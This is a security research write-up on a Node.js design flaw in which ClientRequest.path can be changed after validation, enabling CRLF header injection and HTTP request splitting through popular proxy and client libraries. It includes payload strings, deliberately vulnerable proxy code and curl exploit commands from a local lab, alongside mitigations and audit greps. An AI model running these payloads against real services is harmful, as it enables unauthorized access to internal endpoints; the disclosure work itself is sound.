The Forgotten Bug: How a Node.js Core Design Flaw Enables HTTP Request Splitting

RESPONSIBLE DISCLOSURE NOTICE
This vulnerability was reported to Node.js through their HackerOne program. The Node.js security team has assessed it and determined it is not a vulnerability under their current threat model. This paper is published to inform the ecosystem and help developers protect their applications.
Table of Contents
- Prologue: A Bug That Wonโt Die
- The 2018 Precedent: CVE-2018-12116
- The Root Cause: Anatomy of the TOCTOU
- Walking Through the Source Code
- The Impact Spectrum: From Header Injection to Request Splitting
- The Ecosystem Audit: 7 Vulnerable Libraries
- Library-by-Library Deep Dive
- Libraries That Got It Right
- Live Demo
- Node.js Response: โNot a Vulnerabilityโ
- Call to Arms
1. Prologue: A Bug That Wonโt Die
In 2018, a researcher discovered that Node.jsโs http.request() would happily pass Unicode characters through to the wire, where latin1 encoding would truncate them into CRLF bytes โ enabling HTTP Request Splitting. It was assigned CVE-2018-12116, scored CVSS 7.5 HIGH, and promptly fixed.
The fix added a regex validation to reject paths containing characters outside \u0021-\u00ff:
// lib/_http_client.js (the 2018 fix, still present today)
const INVALID_PATH_REGEX = /[^\u0021-\u00ff]/;
if (options.path) {
const path = String(options.path);
if (INVALID_PATH_REGEX.test(path)) {
throw new ERR_UNESCAPED_CHARACTERS('Request path');
}
}
Case closed. Right?
Not quite. The 2018 fix has a fundamental design flaw: it only runs at construction time. The property it validates โ this.path โ remains a plain writable JavaScript property with no setter, no proxy, no Object.defineProperty guard. Any code that mutates ClientRequest.path after construction completely bypasses this validation.
And as I discovered, an enormous amount of code does exactly that.
2. The 2018 Precedent: CVE-2018-12116
To understand the current bug, we need to understand its predecessor.
CVE-2018-12116 โ HTTP Request Splitting via Unicode
| Field | Value |
|---|---|
| CVE | CVE-2018-12116 |
| CVSS | 7.5 HIGH |
| Affected | Node.js < 6.15.0, < 8.14.0, < 10.14.0, < 11.3.0 |
| Reporter | Arkadiy Tetelman (Lob) |
| CWE | CWE-115 (Misinterpretation of Input) |
The Mechanism: Node.js versions 8 and below used latin1 encoding when constructing HTTP requests without a body. Latin1 is a single-byte encoding โ it canโt represent high Unicode characters, so it truncates them to their lowest byte.
An attacker could craft Unicode characters that, when truncated to latin1, produced HTTP control bytes:
\u{010D}โ\x0D(Carriage Return,\r)\u{010A}โ\x0A(Line Feed,\n)
This meant a path like "/safe\u{010D}\u{010A}\u{010D}\u{010A}GET /admin" would pass any ASCII validation, but on the wire would become "/safe\r\n\r\nGET /admin" โ a fully split second HTTP request.
The Fix: Reject any path containing characters outside the range \u0021-\u00ff at construction time.
The fix was effective for its specific attack vector. But it introduced an assumption that would prove dangerous: that validation at construction time is sufficient.
3. The Root Cause: Anatomy of the TOCTOU
The vulnerability I found is a classic TOCTOU (Time-of-Check-Time-of-Use) bug.
TIME โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโบ
โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโ
โ http.request() โ โ TOCTOU WINDOW โ โ _implicitHeader()โ
โ โ โ โ โ โ
โ options.path โ โ ClientRequest โ โ this.path used โ
โ is VALIDATED โ โ is EXPOSED to โ โ directly in โ
โ against โโโโโโโโโโบโ user code via โโโโโโโโโบโ HTTP request โ
โ INVALID_PATH_ โ โ events/callbacks โ โ line โ NO โ
โ REGEX โ โ โ โ re-validation โ
โ โ โ .path is a PLAIN โ โ โ
โ โ
โ
CHECK โ โ WRITABLE property โ โ โโ USE โ
โโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโ
๐กฉ
|
โโโโโโโโโโโโโโโโโโโโโโโ
โ ATTACKER MUTATES โ
โ clientReq.path = โ
โ "/x\r\n\r\nGET /" โ
โ โ
โ Validation is โ
โ NEVER re-run โ
โโโโโโโโโโโโโโโโโโโโโโโ
In simple terms:
-
CHECK: When you call
http.request(options), Node.js validatesoptions.pathagainstINVALID_PATH_REGEX. If it contains CRLF characters (\r,\n) or characters outside\u0021-\u00ff, it throws an error. Good. -
WINDOW: The resulting
ClientRequestobject has a.pathproperty that is a plain writable JavaScript property โthis.path = options.path || '/'. No setter. NoObject.defineProperty. NoProxy. Any code with a reference to the object can write to it freely. -
USE: When the request is actually sent (triggered by
.write(),.end(), or.pipe()), the method_implicitHeader()readsthis.pathdirectly and concatenates it into the HTTP request line:this.method + ' ' + this.path + ' HTTP/1.1\r\n'. No re-validation.
The gap between step 1 and step 3 is the TOCTOU window. Any mutation of .path during this window bypasses all CRLF validation.
4. Walking Through the Source Code
Letโs trace exactly what happens in the Node.js source code. All references are to the current Node.js main branch at time of writing.
4.1 โ The Validation (Construction Time)
File: lib/_http_client.js โ source
// Line 117: The regex that guards against CRLF
const INVALID_PATH_REGEX = /[^\u0021-\u00ff]/;
This regex matches any character outside the printable latin1 range. Notably, \r (\u000D) and \n (\u000A) are below \u0021, so they are caught by this regex. This is the CVE-2018-12116 fix.
// Lines 235-241: Validation runs ONCE, at construction
if (options.path) {
const path = String(options.path);
if (INVALID_PATH_REGEX.test(path)) {
debug('Path contains unescaped characters: "%s"', path);
throw new ERR_UNESCAPED_CHARACTERS('Request path');
}
}
So far, so good. CRLF in the constructor path = error thrown.
4.2 โ The Assignment (No Protection)
// Line 306: Plain property assignment โ no setter, no guard
this.path = options.path || '/';
This is just a regular JavaScript property. There is no:
Object.defineProperty()with a setter that validatesProxytrap- Private field (
#path) - Frozen/sealed property
Any code that has a reference to the ClientRequest object can do req.path = anything and it will succeed silently.
4.3 โ The Use (No Re-validation)
// Lines 475-481: _implicitHeader() โ called by .write(), .end(), .pipe()
ClientRequest.prototype._implicitHeader = function _implicitHeader() {
if (this._header) {
throw new ERR_HTTP_HEADERS_SENT('render');
}
this._storeHeader(
this.method + ' ' + this.path + ' HTTP/1.1\r\n',
// ^^^^^^^^^
// READ DIRECTLY โ NO RE-VALIDATION
this[kOutHeaders]
);
};
This is where the damage happens. this.path is read raw and concatenated directly into the HTTP request line. If .path now contains \r\n, those bytes go directly onto the TCP socket.
4.4 โ The Wire Format
_storeHeader() (in lib/_http_outgoing.js) takes that first line and builds the complete HTTP message โ source:
// lib/_http_outgoing.js, line 397
function _storeHeader(firstLine, headers) {
// firstLine = 'GET /index.html HTTP/1.1\r\n' โ normal
// firstLine = 'GET /x\r\n\r\nGET /admin HTTP/1.1\r\n' โ SPLIT!
const state = {
// ...
header: firstLine, // โ stored directly, no sanitization
};
// ... processes headers, appends them to state.header ...
// ... writes state.header to the socket ...
}
The content flows directly to the TCP socket. If the path contained CRLF sequences, they are written as-is โ enabling anything from header injection to full request splitting, depending on the payload.
5. The Impact Spectrum: From Header Injection to Request Splitting
This is not a single attack. Depending on how CRLF characters are injected into ClientRequest.path, the impact ranges from header injection to complete request splitting. The _implicitHeader() method concatenates the path directly into the request line โ so whatever bytes are in .path, they go on the wire verbatim.
Hereโs the full spectrum:
Level 1: Header Injection
Injecting a single \r\n after the HTTP version allows adding arbitrary headers to the outgoing request.
Mutated path: /legit HTTP/1.1\r\nX-Injected: malicious-value\r\nX-Foo: bar
On the wire:
GET /legit HTTP/1.1
X-Injected: malicious-value โ injected
X-Foo: bar โ injected
Host: backend.internal โ original headers follow
Connection: keep-alive
Impact: Override security headers (Authorization, X-Forwarded-For, Host), bypass IP-based ACLs, impersonate internal services.
Level 2: Body Injection
Injecting \r\n sequences to close the headers and begin a body allows injecting content into a request that wasnโt supposed to have a body.
Mutated path: /legit HTTP/1.1\r\nContent-Length: 13\r\n\r\n{"admin":true}
On the wire:
GET /legit HTTP/1.1
Content-Length: 13 โ injected
โ end of headers
{"admin":true} โ injected body
Host: backend.internal โ orphaned, treated as next request start
Impact: Transform GET requests into requests with bodies, inject JSON/form payloads, alter backend state.
Level 3: Full Request Splitting
Injecting a complete \r\n\r\n sequence (end of headers) followed by a new request line creates two completely separate HTTP requests from a single client request.
Mutated path: /legit HTTP/1.1\r\nHost: x\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\n\r\n
On the wire โ TWO distinct requests:
โโโโ Request 1 (legitimate) โโโโโโโโโโโโโโโโโ
โ GET /legit HTTP/1.1 โ
โ Host: x โ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโ Request 2 (INJECTED) โโโโโโโโโโโโโโโโโโโ
โ GET /admin HTTP/1.1 โ
โ Host: x โ
โ โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Impact: The second request is entirely attacker-controlled โ method, path, headers, body. It reaches the backend as a completely independent request. This enables access to internal endpoints, admin panels, or any path the proxy wouldnโt normally allow.
Quick reference
| Level | Payload pattern | What gets injected | Impact |
|---|---|---|---|
| Header Injection | /path HTTP/1.1\r\nHeader: value |
Arbitrary headers | Auth bypass, SSRF, header overrides |
| Body Injection | /path HTTP/1.1\r\nContent-Length: N\r\n\r\nbody |
Headers + Body | State mutation, privilege escalation |
| Request Splitting | /path HTTP/1.1\r\nHost: x\r\n\r\nGET /new |
Entire second request | Full control of a second independent request |
Note: This is different from HTTP Request Smuggling (CL/TE desync). Smuggling produces one ambiguous request that is interpreted differently by frontend and backend. Request Splitting produces two distinct, well-formed requests on the wire from a single client request. The second request is not ambiguous โ itโs a real, complete HTTP request.
6. The Ecosystem Audit: 7 Vulnerable Libraries
The TOCTOU window is in Node.js core, but it only becomes exploitable when a library exposes the raw ClientRequest object to user code (or its own internal code) between construction and header flush.
I audited the most popular Node.js HTTP client and proxy libraries to determine which ones open this window. Here are the results:
Vulnerable Libraries (Window OPEN)
| # | Library | Weekly Downloads | Stars | Window Mechanism |
|---|---|---|---|---|
| 1 | node-http-proxy | 18.7M | 14.1K | proxyReq event on socket callback, before .pipe() |
| 2 | http-proxy-middleware | 22.6M | 11.1K | Inherits #1 + pathRewrite zero sanitization + fixRequestBody() flush |
| 3 | http-proxy-3 | via Vite | โ | Fork of #1, identical pattern |
| 4 | httpxy | via Nitro | โ | Fork of #1, identical pattern |
| 5 | superagent | 15.9M | 16K | emit('request', this) before req.end() |
| 6 | request (+forks) | 24.4M | 25.9K | emit('request', req) before deferred .write()/.end() |
| 7 | @hapi/wreck | 1.7M | โ | emit('request', req) + promise.req on Stream payloads |
Combined: ~160M+ weekly downloads with an open TOCTOU window.
Important Note: This is not an exhaustive list. Any library or custom code that uses
http.request()and exposes the resultingClientRequestbefore_implicitHeader()is called is potentially affected. The vulnerability surface extends to every custom implementation of HTTP proxying or client code that follows this pattern. There are certainly more libraries out there.
7. Library-by-Library Deep Dive
7.1 โ node-http-proxy
18.7M downloads/week ยท 14.1K stars
The foundation of Node.js proxying. Used by http-proxy-middleware, Vite (via http-proxy-3), Nuxt (via httpxy), webpack-dev-server, BrowserSync, and hundreds of other tools.
The Window:
// lib/http-proxy/passes/web-incoming.js
// Line 126: ClientRequest created โ path validated here
var proxyReq = (options.target.protocol === 'https:' ? https : http).request(
common.setupOutgoing(options.ssl || {}, options, req)
);
// Lines 131-135: proxyReq event fires on socket callback
proxyReq.on('socket', function(socket) {
if (server && !proxyReq.getHeader('expect')) {
server.emit('proxyReq', proxyReq, req, res, options);
// ^^^^^^^^^ ClientRequest exposed โ WINDOW OPEN
}
});
// Line 170: .pipe() triggers _implicitHeader() โ WINDOW CLOSES
(options.buffer || req).pipe(proxyReq);
Vulnerable Pattern:
const httpProxy = require('http-proxy');
const proxy = httpProxy.createProxyServer({ target: 'http://backend:8080' });
proxy.on('proxyReq', (proxyReq, req, res) => {
// ANY mutation of proxyReq.path here bypasses CRLF validation
proxyReq.path = req.url; // raw passthrough
proxyReq.path = proxyReq.path.replace('/prefix', ''); // prefix strip
proxyReq.path = '/api' + req.query.target; // concatenation
});
The same pattern applies identically to http-proxy-3 (used by Vite, 78.4K stars) and httpxy (used by Nitro/Nuxt, 57K stars). They are forks with the same architecture.
7.2 โ http-proxy-middleware
22.6M downloads/week ยท 11.1K stars
The most popular Express/Connect proxy middleware. Built on top of node-http-proxy. Used by Create React App, Angular CLI, webpack-dev-server, and countless production applications.
http-proxy-middleware is built on top of node-http-proxy and inherits the same TOCTOU window via the on.proxyReq handler. The vulnerable pattern is identical:
The Window (inherited from node-http-proxy):
Any code inside on.proxyReq that assigns to proxyReq.path bypasses CRLF validation, exactly as in node-http-proxy. http-proxy-middleware simply wraps the configuration:
createProxyMiddleware({
target: 'http://backend:8080',
on: {
proxyReq: (proxyReq, req, res) => {
proxyReq.path = userControlledValue; // โ TOCTOU: same window as node-http-proxy
}
}
});
Note on fixRequestBody():
// src/handlers/fix-request-body.ts, lines 30-32
const writeBody = (bodyData: string) => {
proxyReq.setHeader('Content-Length', Buffer.byteLength(bodyData));
proxyReq.write(bodyData); // โ calls _implicitHeader() IMMEDIATELY
};
fixRequestBody() does not modify proxyReq.path โ it only writes the body. However, the .write() call triggers _implicitHeader(), which flushes whatever is currently in proxyReq.path to the wire. If a path mutation happens before fixRequestBody() in the same handler, the flush is deterministic rather than race-dependent.
7.3 โ superagent
15.9M downloads/week ยท 16K stars
Popular HTTP client library with a fluent API. Used for both browser and Node.js.
The Window:
// src/node/index.js
// Line 788: ClientRequest created โ path validated
this.req = module_.request(options);
// Line 1220: 'request' event emitted โ WINDOW OPEN
this.emit('request', this);
// this.req is accessible via the emitted 'this' object
// Line 1291: req.end() called โ _implicitHeader() โ WINDOW CLOSES
req.end(data);
Vulnerable Pattern:
const superagent = require('superagent');
superagent.get('http://target.com/safe')
.on('request', (sa) => {
// sa.req is the raw ClientRequest
// _implicitHeader() has NOT been called yet
sa.req.path = '/safe HTTP/1.1\r\nHost: x\r\n\r\nGET /admin';
})
.end();
While this pattern is less common than proxy path mutations (superagent is typically used as a client, not a proxy), the architectural window is present and any code using the request event to modify the underlying ClientRequest would be vulnerable.
7.4 โ request (+ @cypress/request, postman-request)
24.4M combined downloads/week ยท 25.9K stars
Deprecated since 2020 but still massively used. Its forks (@cypress/request, postman-request) are actively maintained.
The Window:
// request.js
// Line 751: ClientRequest created โ path validated
self.req = self.httpModule.request(reqOptions);
// Line 861: 'request' event emitted โ WINDOW OPEN
self.emit('request', self.req);
// ... start() returns ...
// Deferred via setImmediate/nextTick:
// self.write() / self.end() โ _implicitHeader() โ WINDOW CLOSES
The key insight here is the deferred execution: .write() and .end() are scheduled via setImmediate/nextTick, so they run after start() returns. The 'request' event fires synchronously inside start(), giving handler code full access to the ClientRequest before any data is sent.
Vulnerable Pattern:
const request = require('request'); // or @cypress/request, postman-request
request('http://target.com/safe')
.on('request', (clientReq) => {
// clientReq is the raw ClientRequest
// .write()/.end() are DEFERRED โ haven't run yet
clientReq.path = '/safe HTTP/1.1\r\nHost: x\r\n\r\nGET /admin';
});
| Fork | Weekly Downloads | Status |
|---|---|---|
| request/request | 14.7M | Deprecated, same TOCTOU window |
| @cypress/request | 7.5M | Active fork, same codebase |
| postman-request | 2.2M | Active fork, same codebase |
7.5 โ @hapi/wreck
1.7M downloads/week
The core HTTP client for the Hapi ecosystem. Used in enterprise applications at Walmart, Yahoo, and Mozilla.
Two distinct vectors:
Vector 1 โ 'request' event:
// lib/index.js
// Line 186: ClientRequest created โ path validated
const req = client.request(uri);
// Line 188: 'request' event emitted โ WINDOW OPEN
this._emit('request', req);
// Later: req.write(payload) / req.end() โ WINDOW CLOSES
Vector 2 โ Stream payload (deferred pipe):
// lib/index.js, lines 316-331
if (options.payload instanceof Stream) {
internals.deferPipeUntilSocketConnects(req, stream);
return req; // โ returns WITHOUT calling .end()!
}
// The returned req is stored in:
promise.req = req; // โ accessible before _implicitHeader()
When the payload is a Stream, wreck defers the pipe until the socket connects. This means promise.req is exposed before _implicitHeader() runs, giving calling code time to mutate .path.
Vulnerable Patterns:
const Wreck = require('@hapi/wreck');
// Vector 1: via events
const client = Wreck.defaults({ events: true });
client.events.on('request', (req) => {
req.path = '/admin\r\nHost: evil\r\n\r\nGET /secret';
});
await client.get('http://target.com/safe');
// Vector 2: via Stream payload
const { Readable } = require('stream');
const stream = new Readable({ read() { this.push('data'); this.push(null); } });
const promise = Wreck.request('POST', 'http://target.com/safe', { payload: stream });
promise.req.path = '/admin\r\nHost: evil\r\n\r\nPOST /secret';
8. Libraries That Got It Right
Not every library is affected. Several popular HTTP libraries have architectures that naturally close the TOCTOU window, either by accident or by design.
| Library | Weekly Downloads | Why Itโs Safe |
|---|---|---|
| follow-redirects | 77.7M | ._currentRequest is private โ never exposed via public API |
| axios | 45M | Uses follow-redirects internally โ no raw ClientRequest exposure |
| undici / fetch() | 30M+ | Does not use ClientRequest at all โ entirely different HTTP stack |
| got | 24M | Calls ._sendBody() BEFORE emitting 'request' โ headers already flushed |
| needle | 3M | Calls .end() BEFORE exposing out.request to user code |
| phin / centra | 1.9M | req.end() synchronous in same Promise executor โ req never exposed |
| @fastify/reply-from | 1.5M | Uses new URL() (WHATWG) which percent-encodes CRLF characters |
| express-http-proxy | 350K | Calls http.request() directly with clean options โ no post-mutation |
h3 proxyRequest() |
via Nitro | Uses fetch() API, not http.request() โ independent CRLF validation |
What Makes a Library Safe?
The pattern is clear. Safe libraries follow one of these strategies:
1. Flush before expose โ Call .write(), .end(), or .pipe() before emitting events or returning the ClientRequest to user code. (got, needle, phin)
2. Never expose โ Keep the ClientRequest as a private/local variable. Never emit it via events or return it before headers are sent. (follow-redirects, axios)
3. Donโt use ClientRequest โ Use fetch(), undici, or another HTTP implementation that doesnโt have this writable .path property. (h3, undici)
4. Encode at construction โ Use new URL() (WHATWG parser) which percent-encodes special characters before they ever reach http.request(). (@fastify/reply-from)
9. Live Demo
To demonstrate this vulnerability in practice, I set up a minimal but realistic lab: a proxy that rewrites paths using the most common pattern found in real-world code, and a backend that logs every request it receives.
The Setup
Backend (backend.js) โ a simple Express server that logs every incoming request:
const express = require("express");
const app = express();
app.use(express.json());
r_idx = 0;
app.get("*", (req, res) => {
console.log(`[${++r_idx}] ${req.method} ${req.path}`);
res.json({
ok: true,
source: "target-server",
method: req.method,
url: req.originalUrl,
path: req.path,
query: req.query,
headers: {
host: req.headers.host,
"x-proxy-test": req.headers["x-proxy-test"] || null,
},
});
});
app.post("*", (req, res) => {
console.log(`[${++r_idx}] ${req.method} ${req.path}`);
res.json({
ok: true,
source: "target-server",
method: req.method,
url: req.originalUrl,
path: req.path,
query: req.query,
body: req.body,
headers: {
host: req.headers.host,
"x-proxy-test": req.headers["x-proxy-test"] || null,
},
});
});
app.listen(4000, () => {
console.log("Target server running on http://localhost:4000");
});
Proxy (proxy.js) โ an Express proxy that extracts a catch-all parameter and assigns it to proxyReq.path:
const express = require('express');
const { createProxyMiddleware } = require('http-proxy-middleware');
const app = express();
app.use('/proxy/:target(*)', createProxyMiddleware({
target: 'http://backend:4000',
changeOrigin: true,
on: {
proxyReq: (proxyReq, req) => {
proxyReq.path = '/' + req.params.target;
console.log(`[PROXY] ${req.method} ${req.originalUrl} -> ${proxyReq.path}`);
}
}
}));
app.listen(3000, '0.0.0.0', () => {
console.log('Proxy running on http://0.0.0.0:3000');
console.log(' Example: /proxy/hello');
});
This is a completely realistic pattern. The proxy takes a path from the URL (:target parameter), prepends /, and assigns it to proxyReq.path. This is exactly how dozens of real-world proxies handle path rewriting.
The problem: req.params.target comes directly from the userโs URL. Express decodes percent-encoded characters in route parameters. So %0D%0A in the URL becomes \r\n in req.params.target, which then flows into proxyReq.path โ after INVALID_PATH_REGEX validation has already passed.
Exploit: Header Injection
A single request with percent-encoded CRLF in the path:
curl "http://localhost:3000/proxy/hello%20HTTP/1.1%0D%0AX-Injected:%20true%0D%0AHost:%20evil.com%0D%0A%0D%0A"
The proxy decodes this and assigns to proxyReq.path:
/hello HTTP/1.1\r\nX-Injected: true\r\nHost: evil.com\r\n\r\n
The backend receives a request with the injected X-Injected header and a spoofed Host.
Exploit: Full Request Splitting
curl "http://localhost:3000/proxy/hello%20HTTP/1.1%0D%0AHost:%20x%0D%0A%0D%0AGET%20/admin/secret%20HTTP/1.1%0D%0AHost:%20x%0D%0A%0D%0A"
The proxy sends one request. The backend logs two:
[1] GET /hello
[2] GET /admin/secret โ this was never requested by the client
One curl command, two backend requests. The second request (GET /admin/secret) is entirely attacker-controlled and reaches the backend as an independent, authenticated request on the same TCP connection.

10. Node.js Response: โNot a Vulnerabilityโ
I reported this finding to the Node.js security team through their HackerOne program, providing:
- Full root cause analysis with source code references
- Working proof of concept
- Ecosystem impact assessment showing 7 vulnerable libraries with 160M+ combined weekly downloads
- 13 confirmed real-world production sinks
Their response:
โWe have assessed it and itโs not a vulnerability according our current threat model. In 2018 we did not have one, and if we did we would not have classified that as a vulnerability.โ
This references CVE-2018-12116 โ the same class of vulnerability, but exploitable directly at the constructor level (via Unicode truncation). The Node.js teamโs position is that:
- The 2018 constructor-level fix was not a vulnerability under their current threat model either
ClientRequest.pathbeing a writable property is by design- Libraries that expose the raw
ClientRequestto user code are responsible for their own validation
While I respect the Node.js teamโs right to define their threat model, I disagree with this assessment for several reasons:
-
The validation exists but is incomplete. Node.js does validate
options.pathat construction โ this creates a false sense of security. Developers reasonably assume that if CRLF in the constructor throws an error, the property is somehow protected. -
The fix would be trivial. A setter on
.paththat re-runsINVALID_PATH_REGEX, or usingObject.definePropertyto make it read-only after construction, would close the window without breaking any legitimate use case. -
The blast radius is massive. 160M+ weekly downloads across 7 libraries, with confirmed sinks in production projects by Microsoft, Google, Stanford, and UN/FAO. This is not a theoretical concern.
11. Call to Arms
Since Node.js has decided not to fix the root cause, the burden falls on the ecosystem.
Every library that uses http.request() and exposes the resulting ClientRequest before _implicitHeader() is called creates a potential TOCTOU window. Every application that mutates ClientRequest.path in that window with user-controlled data is a potential HTTP Request Splitting vulnerability.
What Iโm Looking For
I am actively looking for:
-
Other HTTP libraries with open TOCTOU windows. The seven I found are certainly not all of them. Any library that wraps
http.request()and exposes theClientRequestvia events, callbacks, or return values before header flush could be affected. -
Applications that mutate
ClientRequest.pathin event handlers (proxyReq,request, etc.) with data derived from user input โ query parameters, headers, URL paths. -
Custom
http.request()implementations in production applications that follow the same pattern of exposingClientRequestbefore flush.
How to Check Your Code
Search your codebase for these patterns:
# Proxy libraries (node-http-proxy, http-proxy-middleware)
grep -rn "proxyReq\.path\s*=" .
grep -rn "\.on.*proxyReq" .
# HTTP clients (superagent, request)
grep -rn "\.on.*'request'" . | grep -i "\.path\s*="
grep -rn "\.req\.path\s*=" .
# Generic โ any ClientRequest mutation
grep -rn "clientReq\.path\s*=" .
grep -rn "\.path\s*=.*req\." .
If you find matches, check whether:
- The value assigned to
.pathcan be influenced by user input (query params, headers, URL segments) - The mutation happens after
http.request()construction but before.write()/.end()/.pipe()
If both conditions are true, you likely have a request splitting vulnerability.
Collaborate
If you discover vulnerable patterns in libraries or applications, Iโd love to hear from you. I believe that community-driven security research is the most effective way to address systemic issues like this โ especially when the upstream vendor has decided not to act.
You can reach me at:
- GitHub: @r3verii
- Email: r3verii2@gmail.com
- Linkedin: Martino Spagnuolo
This is an open invitation. Whether youโre a security researcher, a library maintainer, or a developer who found this pattern in your own code โ letโs work together to map and mitigate this vulnerability across the Node.js ecosystem.
Research Timeline
| Date | Milestone |
|---|---|
| Feb 2026 | Root cause discovery and initial PoC |
| Feb 2026 | HackerOne report submitted to Node.js |
| Feb 2026 | Node.js response: โnot a vulnerabilityโ |
| Feb 2026 | Ecosystem audit: 7 libraries, 160M+ downloads/week |
| Feb 2026 | Part 1 published (this paper) |
| TBD | Part 2: Confirmed vulnerable applications |
This research was conducted with the assistance of AI for code analysis and for drafting the final paper. All findings were reported responsibly prior to public disclosure. No production systems were exploited during this research; all tests were performed on local instances of the affected software.